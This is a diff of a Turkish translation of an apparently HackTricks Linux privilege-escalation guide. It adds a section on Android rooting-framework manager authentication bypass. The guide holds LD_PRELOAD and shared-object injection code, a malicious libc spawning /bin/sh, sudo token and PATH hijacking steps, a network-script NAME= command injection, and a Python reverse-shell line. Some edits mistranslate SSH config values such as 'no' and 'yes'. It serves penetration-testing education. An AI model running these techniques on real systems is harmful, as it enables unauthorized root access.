@ -782,12 +782,12 @@ Sonra, suid ikili dosyasını çağırdığınızda, bu fonksiyon çalıştırı
|
||||
|
||||
**LD_PRELOAD** ortam değişkeni, yükleyici tarafından diğer tüm kütüphanelerden önce yüklenmesi gereken bir veya daha fazla paylaşılan kütüphaneyi (.so dosyaları) belirtmek için kullanılır. Bu işlem, bir kütüphanenin ön yüklenmesi olarak bilinir.
|
||||
|
||||
Ancak, sistem güvenliğini korumak ve bu özelliğin özellikle **suid/sgid** yürütülebilir dosyalarla istismar edilmesini önlemek için, sistem belirli koşulları zorunlu kılar:
|
||||
Ancak, sistem güvenliğini korumak ve bu özelliğin kötüye kullanılmasını önlemek için, özellikle **suid/sgid** yürütülebilir dosyalarla ilgili olarak, sistem belirli koşulları zorunlu kılar:
|
||||
|
||||
- Yükleyici, gerçek kullanıcı kimliği (_ruid_) etkili kullanıcı kimliği (_euid_) ile eşleşmeyen yürütülebilir dosyalar için **LD_PRELOAD**'u dikkate almaz.
|
||||
- Suid/sgid olan yürütülebilir dosyalar için yalnızca standart yollardaki ve aynı zamanda suid/sgid olan kütüphaneler ön yüklenir.
|
||||
|
||||
Yetki yükseltme, `sudo` ile komutları çalıştırma yeteneğiniz varsa ve `sudo -l` çıktısı **env_keep+=LD_PRELOAD** ifadesini içeriyorsa gerçekleşebilir. Bu yapılandırma, **LD_PRELOAD** ortam değişkeninin kalıcı olmasını ve `sudo` ile komutlar çalıştırıldığında tanınmasını sağlar, bu da potansiyel olarak yükseltilmiş ayrıcalıklarla rastgele kodun çalıştırılmasına yol açabilir.
|
||||
Yetki yükseltmesi, `sudo` ile komutları çalıştırma yeteneğiniz varsa ve `sudo -l` çıktısı **env_keep+=LD_PRELOAD** ifadesini içeriyorsa gerçekleşebilir. Bu yapılandırma, **LD_PRELOAD** ortam değişkeninin kalıcı olmasını ve `sudo` ile komutlar çalıştırıldığında tanınmasını sağlar, bu da potansiyel olarak yükseltilmiş ayrıcalıklarla rastgele kodun çalıştırılmasına yol açabilir.
|
||||
```
|
||||
Defaults env_keep += LD_PRELOAD
|
||||
```
|
||||
@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
|
||||
```
|
||||
### SUID İkili – .so enjeksiyonu
|
||||
|
||||
**SUID** izinlerine sahip ve alışılmadık görünen bir ikili ile karşılaşıldığında, **.so** dosyalarını düzgün bir şekilde yükleyip yüklemediğini kontrol etmek iyi bir uygulamadır. Bu, aşağıdaki komut çalıştırılarak kontrol edilebilir:
|
||||
**SUID** izinlerine sahip ve alışılmadık görünen bir ikili ile karşılaştığınızda, **.so** dosyalarını düzgün bir şekilde yükleyip yüklemediğini kontrol etmek iyi bir uygulamadır. Bu, aşağıdaki komutu çalıştırarak kontrol edilebilir:
|
||||
```bash
|
||||
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
||||
```
|
||||
@ -859,7 +859,7 @@ Yukarıdaki C dosyasını bir paylaşılan nesne (.so) dosyasına derlemek için
|
||||
```bash
|
||||
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
|
||||
```
|
||||
Sonunda, etkilenen SUID ikili dosyasını çalıştırmak, potansiyel sistem ihlali için istismarı tetikleyecektir.
|
||||
Sonunda, etkilenen SUID ikili dosyasını çalıştırmak, potansiyel sistem tehlikesine yol açacak şekilde istismarı tetiklemelidir.
|
||||
|
||||
## Paylaşılan Nesne Kaçırma
|
||||
```bash
|
||||
@ -892,7 +892,7 @@ bu, oluşturduğunuz kütüphanenin `a_function_name` adında bir işlev içerme
|
||||
|
||||
### GTFOBins
|
||||
|
||||
[**GTFOBins**](https://gtfobins.github.io), bir saldırganın yerel güvenlik kısıtlamalarını aşmak için istismar edebileceği Unix ikili dosyalarının derlenmiş bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/) ise yalnızca bir komuta **argüman enjekte edebileceğiniz** durumlar için aynıdır.
|
||||
[**GTFOBins**](https://gtfobins.github.io) bir saldırganın yerel güvenlik kısıtlamalarını aşmak için istismar edebileceği Unix ikili dosyalarının derlenmiş bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/) ise yalnızca bir komuta **argüman enjekte edebileceğiniz** durumlar için aynıdır.
|
||||
|
||||
Proje, kısıtlı shell'lerden çıkmak, ayrıcalıkları yükseltmek veya sürdürmek, dosya transferi yapmak, bind ve reverse shell'ler oluşturmak ve diğer post-exploitation görevlerini kolaylaştırmak için kötüye kullanılabilecek Unix ikili dosyalarının meşru işlevlerini toplar.
|
||||
|
||||
@ -920,7 +920,7 @@ Eğer **sudo erişiminiz** varsa ama şifreniz yoksa, **bir sudo komutunun yür
|
||||
Ayrıcalıkları yükseltmek için gereksinimler:
|
||||
|
||||
- Zaten "_sampleuser_" kullanıcısı olarak bir shell'e sahipsiniz
|
||||
- "_sampleuser_" son **15 dakikada** bir şey yürütmek için **`sudo` kullanmış** (varsayılan olarak bu, şifre girmeden `sudo` kullanmamıza izin veren sudo token'ının süresidir)
|
||||
- "_sampleuser_" son **15 dakikada** bir şey yürütmek için **`sudo` kullanmış** (varsayılan olarak bu, `sudo`'yu herhangi bir şifre girmeden kullanmamıza izin veren sudo token'ının süresidir)
|
||||
- `cat /proc/sys/kernel/yama/ptrace_scope` 0
|
||||
- `gdb` erişilebilir (yükleyebilmeniz gerekir)
|
||||
|
||||
@ -928,7 +928,7 @@ Ayrıcalıkları yükseltmek için gereksinimler:
|
||||
|
||||
Tüm bu gereksinimler karşılandığında, **şu şekilde ayrıcalıkları yükseltebilirsiniz:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
|
||||
|
||||
- **ilk istismar** (`exploit.sh`), _/tmp_ dizininde `activate_sudo_token` adlı ikili dosyayı oluşturacaktır. Bunu **oturumunuzda sudo token'ını etkinleştirmek için** kullanabilirsiniz (otomatik olarak bir root shell almayacaksınız, `sudo su` yapın):
|
||||
- **ilk istismar** (`exploit.sh`) _/tmp_ dizininde `activate_sudo_token` adlı ikili dosyayı oluşturacaktır. Bunu **oturumunuzda sudo token'ını etkinleştirmek için** kullanabilirsiniz (otomatik olarak bir root shell almayacaksınız, `sudo su` yapın):
|
||||
```bash
|
||||
bash exploit.sh
|
||||
/tmp/activate_sudo_token
|
||||
@ -954,7 +954,7 @@ Eğer klasörde veya klasör içindeki oluşturulan dosyalardan herhangi birinde
|
||||
### /etc/sudoers, /etc/sudoers.d
|
||||
|
||||
Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar, kimin `sudo` kullanabileceğini ve nasıl kullanılacağını yapılandırır. Bu dosyalar **varsayılan olarak yalnızca root kullanıcısı ve root grubu tarafından okunabilir**.\
|
||||
**Eğer** bu dosyayı **okuyabiliyorsanız**, bazı **ilginç bilgilere ulaşabilirsiniz** ve eğer herhangi bir dosyayı **yazabiliyorsanız**, **yetkileri yükseltebilirsiniz**.
|
||||
**Eğer** bu dosyayı **okuyabiliyorsanız**, bazı **ilginç bilgilere ulaşabilirsiniz** ve eğer herhangi bir dosyayı **yazabiliyorsanız**, **yetkileri artırma** imkanına sahip olursunuz.
|
||||
```bash
|
||||
ls -l /etc/sudoers /etc/sudoers.d/
|
||||
ls -ld /etc/sudoers.d/
|
||||
@ -979,7 +979,7 @@ permit nopass demo as root cmd vim
|
||||
```
|
||||
### Sudo Hijacking
|
||||
|
||||
Eğer bir **kullanıcının genellikle bir makineye bağlandığını ve `sudo` kullanarak yetkileri artırdığını** biliyorsanız ve o kullanıcı bağlamında bir shell elde ettiyseniz, **kendi kodunuzu root olarak çalıştıracak yeni bir sudo yürütülebilir dosya** oluşturabilirsiniz ve ardından kullanıcının komutunu çalıştırabilirsiniz. Sonra, **kullanıcı bağlamının $PATH'ini** değiştirin (örneğin, .bash_profile'a yeni yolu ekleyerek) böylece kullanıcı sudo'yu çalıştırdığında, sizin sudo yürütülebilir dosyanız çalıştırılır.
|
||||
Eğer bir **kullanıcının genellikle bir makineye bağlandığını ve `sudo` kullanarak yetkileri artırdığını** biliyorsanız ve o kullanıcı bağlamında bir shell elde ettiyseniz, **root olarak kodunuzu çalıştıracak ve ardından kullanıcının komutunu yürütecek yeni bir sudo çalıştırılabilir dosyası** oluşturabilirsiniz. Sonra, **kullanıcı bağlamının $PATH'ini değiştirin** (örneğin, .bash_profile'a yeni yolu ekleyerek) böylece kullanıcı sudo'yu çalıştırdığında, sizin sudo çalıştırılabilir dosyanız çalıştırılır.
|
||||
|
||||
Kullanıcının farklı bir shell (bash değil) kullanması durumunda, yeni yolu eklemek için diğer dosyaları da değiştirmeniz gerekecektir. Örneğin, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz.
|
||||
|
||||
@ -1004,9 +1004,9 @@ sudo ls
|
||||
|
||||
Dosya `/etc/ld.so.conf`, **yüklenen yapılandırma dosyalarının nereden geldiğini** gösterir. Genellikle, bu dosya aşağıdaki yolu içerir: `include /etc/ld.so.conf.d/*.conf`
|
||||
|
||||
Bu, `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyalarının okunacağı anlamına gelir. Bu yapılandırma dosyaları, **kütüphanelerin** **arama** yapılacağı **diğer klasörlere** işaret eder. Örneğin, `/etc/ld.so.conf.d/libc.conf` dosyasının içeriği `/usr/local/lib`'dır. **Bu, sistemin `/usr/local/lib` içinde kütüphaneleri arayacağı anlamına gelir.**
|
||||
Bu, `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyalarının okunacağı anlamına gelir. Bu yapılandırma dosyaları, **kütüphanelerin** **arama** yapılacağı **diğer klasörlere** **işaret eder**. Örneğin, `/etc/ld.so.conf.d/libc.conf` dosyasının içeriği `/usr/local/lib`'dir. **Bu, sistemin `/usr/local/lib` içinde kütüphaneleri arayacağı anlamına gelir.**
|
||||
|
||||
Eğer bir nedenle **bir kullanıcının yazma izinleri** belirtilen yollardan herhangi birinde varsa: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyası içindeki herhangi bir klasör, yetkileri yükseltebilir.\
|
||||
Eğer bir nedenle **bir kullanıcının yazma izinleri** belirtilen yollardan herhangi birinde varsa: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyası içindeki herhangi bir klasör, yetkileri artırma imkanı olabilir.\
|
||||
Aşağıdaki sayfada **bu yanlış yapılandırmayı nasıl istismar edeceğinize** bir göz atın:
|
||||
|
||||
{{#ref}}
|
||||
@ -1033,7 +1033,7 @@ linux-gate.so.1 => (0x005b0000)
|
||||
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
|
||||
/lib/ld-linux.so.2 (0x00737000)
|
||||
```
|
||||
Ardından `/var/tmp` dizininde `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` komutunu kullanarak kötü niyetli bir kütüphane oluşturun.
|
||||
Sonra `/var/tmp` içinde `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ile kötü bir kütüphane oluşturun.
|
||||
```c
|
||||
#include<stdlib.h>
|
||||
#define SHELL "/bin/sh"
|
||||
@ -1048,7 +1048,7 @@ execve(file,argv,0);
|
||||
```
|
||||
## Yetenekler
|
||||
|
||||
Linux yetenekleri, bir **işleme mevcut root ayrıcalıklarının bir alt kümesini** sağlar. Bu, root **ayrıcalıklarını daha küçük ve belirgin birimlere** ayırır. Bu birimlerin her biri, işlemlere bağımsız olarak verilebilir. Bu şekilde, ayrıcalıkların tam seti azaltılır ve istismar riskleri düşer.\
|
||||
Linux yetenekleri, bir **işleme mevcut root ayrıcalıklarının bir alt kümesini** sağlar. Bu, root **ayrıcalıklarını daha küçük ve belirgin birimlere** ayırır. Bu birimlerin her biri bağımsız olarak işlemlere verilebilir. Bu şekilde, ayrıcalıkların tam seti azaltılır ve istismar riskleri düşer.\
|
||||
Daha fazla bilgi için **yetenekler ve bunların nasıl kötüye kullanılacağı hakkında** aşağıdaki sayfayı okuyun:
|
||||
|
||||
{{#ref}}
|
||||
@ -1057,8 +1057,8 @@ linux-capabilities.md
|
||||
|
||||
## Dizin izinleri
|
||||
|
||||
Bir dizinde, **"çalıştır"** biti, etkilenen kullanıcının **dizine "cd"** yapabileceğini belirtir.\
|
||||
**"okuma"** biti, kullanıcının **dosyaları listeleyebileceğini**, **"yazma"** biti ise kullanıcının **dosyaları silip** **yeni dosyalar** **oluşturabileceğini** belirtir.
|
||||
Bir dizinde, **"çalıştır"** biti, etkilenen kullanıcının klasöre "**cd**" yapabileceğini belirtir.\
|
||||
**"okuma"** biti, kullanıcının **dosyaları listeleyebileceğini**, **"yazma"** biti ise kullanıcının **silme** ve **yeni dosyalar oluşturma** yetkisine sahip olduğunu belirtir.
|
||||
|
||||
## ACL'ler
|
||||
|
||||
@ -1128,22 +1128,22 @@ Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulurken meydan
|
||||
|
||||
### SSH İlginç yapılandırma değerleri
|
||||
|
||||
- **PasswordAuthentication:** Parola kimlik doğrulamasının izin verilip verilmediğini belirtir. Varsayılan `no`'dur.
|
||||
- **PubkeyAuthentication:** Genel anahtar kimlik doğrulamasının izin verilip verilmediğini belirtir. Varsayılan `yes`'dir.
|
||||
- **PermitEmptyPasswords**: Parola kimlik doğrulamasına izin verildiğinde, sunucunun boş parola dizelerine sahip hesaplara girişe izin verip vermediğini belirtir. Varsayılan `no`'dur.
|
||||
- **PasswordAuthentication:** Parola kimlik doğrulamasının izin verilip verilmediğini belirtir. Varsayılan `hayır`dır.
|
||||
- **PubkeyAuthentication:** Genel anahtar kimlik doğrulamasının izin verilip verilmediğini belirtir. Varsayılan `evet`dir.
|
||||
- **PermitEmptyPasswords**: Parola kimlik doğrulamasına izin verildiğinde, sunucunun boş parola dizelerine sahip hesaplara girişe izin verip vermediğini belirtir. Varsayılan `hayır`dır.
|
||||
|
||||
### PermitRootLogin
|
||||
|
||||
Root'un ssh kullanarak giriş yapıp yapamayacağını belirtir, varsayılan `no`'dur. Olası değerler:
|
||||
Root'un ssh kullanarak giriş yapıp yapamayacağını belirtir, varsayılan `hayır`dır. Olası değerler:
|
||||
|
||||
- `yes`: root parola ve özel anahtar kullanarak giriş yapabilir
|
||||
- `evet`: root parola ve özel anahtar kullanarak giriş yapabilir
|
||||
- `without-password` veya `prohibit-password`: root yalnızca özel anahtar ile giriş yapabilir
|
||||
- `forced-commands-only`: Root yalnızca özel anahtar kullanarak ve komut seçenekleri belirtilmişse giriş yapabilir
|
||||
- `no` : hayır
|
||||
- `hayır`: hayır
|
||||
|
||||
### AuthorizedKeysFile
|
||||
|
||||
Kullanıcı kimlik doğrulaması için kullanılabilecek genel anahtarları içeren dosyaları belirtir. `%h` gibi token'lar içerebilir, bu da ev dizini ile değiştirilir. **Kesin yolları belirtebilirsiniz** ( `/` ile başlayan) veya **kullanıcının evinden göreli yolları** belirtebilirsiniz. Örneğin:
|
||||
Kullanıcı kimlik doğrulaması için kullanılabilecek genel anahtarları içeren dosyaları belirtir. `%h` gibi token'lar içerebilir, bu da ev dizini ile değiştirilir. **Kesin yolları belirtebilirsiniz** ( `/` ile başlayan) veya **kullanıcının evinden göreli yollar** belirtebilirsiniz. Örneğin:
|
||||
```bash
|
||||
AuthorizedKeysFile .ssh/authorized_keys access
|
||||
```
|
||||
@ -1160,10 +1160,10 @@ ForwardAgent yes
|
||||
```
|
||||
Dikkat edin ki, eğer `Host` `*` ise, kullanıcı farklı bir makineye geçtiğinde, o host anahtarları erişebilecektir (bu bir güvenlik sorunudur).
|
||||
|
||||
Dosya `/etc/ssh_config` bu **seçenekleri** **geçersiz kılabilir** ve bu yapılandırmayı izin verebilir veya reddedebilir.\
|
||||
Dosya `/etc/ssh_config` bu **seçenekleri** **geçersiz kılabilir** ve bu yapılandırmaya izin verebilir veya reddedebilir.\
|
||||
Dosya `/etc/sshd_config` `AllowAgentForwarding` anahtar kelimesi ile ssh-agent yönlendirmesine **izin verebilir** veya **reddedebilir** (varsayılan izin ver).
|
||||
|
||||
Eğer bir ortamda Forward Agent'ın yapılandırıldığını bulursanız, **yetkileri artırmak için bunu kötüye kullanabileceğinizden** aşağıdaki sayfayı okuyun:
|
||||
Eğer Forward Agent'ın bir ortamda yapılandırıldığını bulursanız, **yetkileri artırmak için bunu kötüye kullanabileceğinizden** dolayı aşağıdaki sayfayı okuyun:
|
||||
|
||||
{{#ref}}
|
||||
ssh-forward-agent-exploitation.md
|
||||
@ -1181,7 +1181,7 @@ Eğer herhangi bir garip profil betiği bulunursa, **hassas detaylar** için kon
|
||||
|
||||
### Passwd/Shadow Dosyaları
|
||||
|
||||
İşletim sistemine bağlı olarak, `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir isim kullanıyor olabilir veya bir yedeği olabilir. Bu nedenle, **hepsini bulmanız** ve **okuyup okuyamayacağınızı kontrol etmeniz** önerilir; dosyaların içinde **hash'ler** olup olmadığını görmek için:
|
||||
İşletim sistemine bağlı olarak, `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir isim kullanıyor olabilir veya bir yedeği olabilir. Bu nedenle, **hepsini bulmanız** ve dosyaların içinde **hash'lerin** olup olmadığını görmek için **okuyup okuyamayacağınızı kontrol etmeniz** önerilir:
|
||||
```bash
|
||||
#Passwd equivalent files
|
||||
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
@ -1287,7 +1287,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
|
||||
### Bilinen şifre içeren dosyalar
|
||||
|
||||
[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) kodunu okuyun, **şifre içerebilecek birkaç olası dosyayı** arar.\
|
||||
**Bunu yapmak için kullanabileceğiniz başka bir ilginç araç**: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), Windows, Linux ve Mac için yerel bir bilgisayarda saklanan birçok şifreyi almak için kullanılan açık kaynaklı bir uygulamadır.
|
||||
**Bunu yapmak için kullanabileceğiniz başka ilginç bir araç**: [**LaZagne**](https://github.com/AlessandroZ/LaZagne), Windows, Linux ve Mac için yerel bir bilgisayarda saklanan birçok şifreyi almak için kullanılan açık kaynaklı bir uygulamadır.
|
||||
|
||||
### Loglar
|
||||
|
||||
@ -1313,7 +1313,7 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
### Genel Kimlik Bilgileri Arama/Regex
|
||||
|
||||
Ayrıca, **adında** veya **içeriğinde** "**password**" kelimesini içeren dosyaları kontrol etmeli ve günlüklerde IP'ler ve e-postalar ile hash regex'lerini de kontrol etmelisiniz.\
|
||||
Bunların nasıl yapılacağını burada listelemeyeceğim ama ilgileniyorsanız, [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından yapılan son kontrolleri kontrol edebilirsiniz.
|
||||
Bunların nasıl yapılacağını burada listelemeyeceğim ama ilgileniyorsanız, [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından gerçekleştirilen son kontrolleri kontrol edebilirsiniz.
|
||||
|
||||
## Yazılabilir dosyalar
|
||||
|
||||
@ -1327,7 +1327,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
||||
```
|
||||
### Logrotate istismarı
|
||||
|
||||
`logrotate`'deki bir güvenlik açığı, bir günlük dosyası veya onun üst dizinlerinde **yazma izinlerine** sahip kullanıcıların potansiyel olarak yükseltilmiş ayrıcalıklar kazanmasına olanak tanır. Bunun nedeni, genellikle **root** olarak çalışan `logrotate`'in, özellikle _**/etc/bash_completion.d/**_ gibi dizinlerde rastgele dosyaları çalıştıracak şekilde manipüle edilebilmesidir. Günlük döngüsünün uygulandığı _/var/log_ dizininde değil, aynı zamanda diğer dizinlerde de izinleri kontrol etmek önemlidir.
|
||||
`logrotate`'deki bir güvenlik açığı, bir günlük dosyası veya üst dizinlerinde **yazma izinlerine** sahip kullanıcıların potansiyel olarak yükseltilmiş ayrıcalıklar kazanmasına olanak tanır. Bunun nedeni, genellikle **root** olarak çalışan `logrotate`'in, özellikle _**/etc/bash_completion.d/**_ gibi dizinlerde rastgele dosyaları çalıştıracak şekilde manipüle edilebilmesidir. Günlük döngüsünün uygulandığı _/var/log_ dizininde değil, aynı zamanda diğer dizinlerde de izinleri kontrol etmek önemlidir.
|
||||
|
||||
> [!TIP]
|
||||
> Bu güvenlik açığı `logrotate` sürüm `3.18.0` ve daha eski sürümleri etkilemektedir.
|
||||
@ -1336,17 +1336,17 @@ Güvenlik açığı hakkında daha ayrıntılı bilgi bu sayfada bulunabilir: [h
|
||||
|
||||
Bu güvenlik açığını [**logrotten**](https://github.com/whotwagner/logrotten) ile istismar edebilirsiniz.
|
||||
|
||||
Bu güvenlik açığı, [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx günlükleri)** ile çok benzerlik göstermektedir, bu nedenle günlükleri değiştirebildiğinizi bulduğunuzda, bu günlükleri yöneten kişiyi kontrol edin ve günlükleri simlinklerle değiştirerek ayrıcalıkları yükseltip yükseltemeyeceğinizi kontrol edin.
|
||||
Bu güvenlik açığı, [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx günlükleri)** ile çok benzerlik göstermektedir, bu nedenle günlükleri değiştirebildiğinizde, bu günlükleri yöneten kişiyi kontrol edin ve günlükleri simlinkler ile değiştirerek ayrıcalıkları yükseltip yükseltemeyeceğinizi kontrol edin.
|
||||
|
||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
**Güvenlik açığı referansı:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
|
||||
Herhangi bir nedenle, bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine **yazabilirse** veya mevcut birini **ayarlayabilirse**, o zaman **sisteminiz ele geçirilmiştir**.
|
||||
Herhangi bir nedenle, bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine **yazma** yetkisine sahip bir `ifcf-<herhangi bir şey>` betiği yazabiliyorsa **veya** mevcut birini **ayarlayabiliyorsa**, o zaman **sisteminiz ele geçirilmiştir**.
|
||||
|
||||
Ağ betikleri, örneğin _ifcg-eth0_, ağ bağlantıları için kullanılır. Tam olarak .INI dosyaları gibi görünürler. Ancak, Linux'ta Network Manager (dispatcher.d) tarafından \~sourced\~ edilirler.
|
||||
|
||||
Benim durumumda, bu ağ betiklerinde `NAME=` ataması doğru bir şekilde işlenmemektedir. Eğer isimde **boşluk varsa, sistem boşluktan sonraki kısmı çalıştırmaya çalışır**. Bu, **ilk boşluktan sonraki her şey root olarak çalıştırılır** anlamına gelir.
|
||||
Benim durumumda, bu ağ betiklerinde `NAME=` ataması doğru bir şekilde işlenmemektedir. Eğer isimde **boşluk varsa, sistem boşluktan sonraki kısmı çalıştırmaya çalışır**. Bu, **ilk boşluktan sonraki her şeyin root olarak çalıştırıldığı** anlamına gelir.
|
||||
|
||||
Örneğin: _/etc/sysconfig/network-scripts/ifcfg-1337_
|
||||
```bash
|
||||
@ -1356,11 +1356,11 @@ DEVICE=eth0
|
||||
```
|
||||
### **init, init.d, systemd ve rc.d**
|
||||
|
||||
Dizin `/etc/init.d`, **System V init (SysVinit)** için **script'lerin** bulunduğu yerdir, bu da **klasik Linux servis yönetim sistemi**dir. Bu script'ler servisleri `başlatmak`, `durdurmak`, `yeniden başlatmak` ve bazen `reload` etmek için kullanılır. Bunlar doğrudan veya `/etc/rc?.d/` dizininde bulunan sembolik bağlantılar aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif bir yol `/etc/rc.d/init.d`'dir.
|
||||
Dizin `/etc/init.d`, **System V init (SysVinit)** için **script'lerin** bulunduğu yerdir, bu da **klasik Linux hizmet yönetim sistemi**dir. Bu script'ler hizmetleri `başlatmak`, `durdurmak`, `yeniden başlatmak` ve bazen `yenilemek` için kullanılır. Bunlar doğrudan veya `/etc/rc?.d/` dizininde bulunan sembolik bağlantılar aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif bir yol `/etc/rc.d/init.d`'dir.
|
||||
|
||||
Diğer yandan, `/etc/init` **Upstart** ile ilişkilidir, bu da Ubuntu tarafından tanıtılan daha yeni bir **servis yönetimi** sistemidir ve servis yönetim görevleri için yapılandırma dosyaları kullanır. Upstart'a geçişe rağmen, SysVinit script'leri hala Upstart yapılandırmaları ile birlikte kullanılmaktadır çünkü Upstart'ta bir uyumluluk katmanı vardır.
|
||||
Diğer yandan, `/etc/init`, Ubuntu tarafından tanıtılan daha yeni bir **hizmet yönetimi** olan **Upstart** ile ilişkilidir ve hizmet yönetim görevleri için yapılandırma dosyaları kullanır. Upstart'a geçişe rağmen, SysVinit script'leri hala Upstart yapılandırmaları ile birlikte kullanılmaktadır çünkü Upstart'ta bir uyumluluk katmanı vardır.
|
||||
|
||||
**systemd**, talep üzerine daemon başlatma, otomatik montaj yönetimi ve sistem durumu anlık görüntüleri gibi gelişmiş özellikler sunan modern bir başlatma ve servis yöneticisi olarak ortaya çıkmaktadır. Dosyaları dağıtım paketleri için `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` dizinlerine organize ederek sistem yönetim sürecini kolaylaştırır.
|
||||
**systemd**, talep üzerine daemon başlatma, otomatik montaj yönetimi ve sistem durumu anlık görüntüleri gibi gelişmiş özellikler sunan modern bir başlatma ve hizmet yöneticisi olarak ortaya çıkmaktadır. Dosyaları dağıtım paketleri için `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` dizinlerine organize ederek sistem yönetim sürecini kolaylaştırır.
|
||||
|
||||
## Diğer Hileler
|
||||
|
||||
@ -1400,9 +1400,9 @@ cisco-vmanage.md
|
||||
**Unix Yetki Yükseltme Kontrolü:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\
|
||||
**Linux Yetki Kontrol Aracı:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\
|
||||
**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\
|
||||
**Kernelpop:** Linux ve MAC'teki kernel açıklarını listele [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||||
**Kernelpop:** Linux ve MAC'te kernel açıklarını listele [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\
|
||||
**Mestaploit:** _**multi/recon/local_exploit_suggester**_\
|
||||
**Linux Exploit Önerici:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\
|
||||
**EvilAbigail (fiziksel erişim):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\
|
||||
**Daha fazla script derlemesi**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc)
|
||||
|
||||
@ -1426,4 +1426,12 @@ cisco-vmanage.md
|
||||
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
|
||||
|
||||
## Android rooting framework'leri: yönetici-kanal suistimali
|
||||
|
||||
Android rooting framework'leri genellikle bir syscall'ı bağlayarak ayrıcalıklı kernel işlevselliğini bir kullanıcı alanı yöneticisine açar. Zayıf yönetici kimlik doğrulaması (örneğin, FD-sırasına dayalı imza kontrolleri veya zayıf şifre şemaları) yerel bir uygulamanın yöneticiyi taklit etmesine ve zaten köklenmiş cihazlarda root'a yükselmesine olanak tanıyabilir. Daha fazla bilgi ve istismar detayları için buraya bakın:
|
||||
|
||||
{{#ref}}
|
||||
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -0,0 +1,190 @@
|
||||
# Android Rooting Frameworks (KernelSU/Magisk) Manager Auth Bypass & Syscall Hook Abuse
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
KernelSU, APatch, SKRoot ve Magisk gibi rooting framework'leri, Linux/Android çekirdeğini sıkça yamanlar ve ayrıcalıklı işlevselliği, bir syscall ile bağlı "yönetici" uygulamasına yetkisiz bir kullanıcı alanı üzerinden açar. Eğer yönetici kimlik doğrulama adımı hatalıysa, herhangi bir yerel uygulama bu kanala ulaşabilir ve zaten köklenmiş cihazlarda ayrıcalıkları artırabilir.
|
||||
|
||||
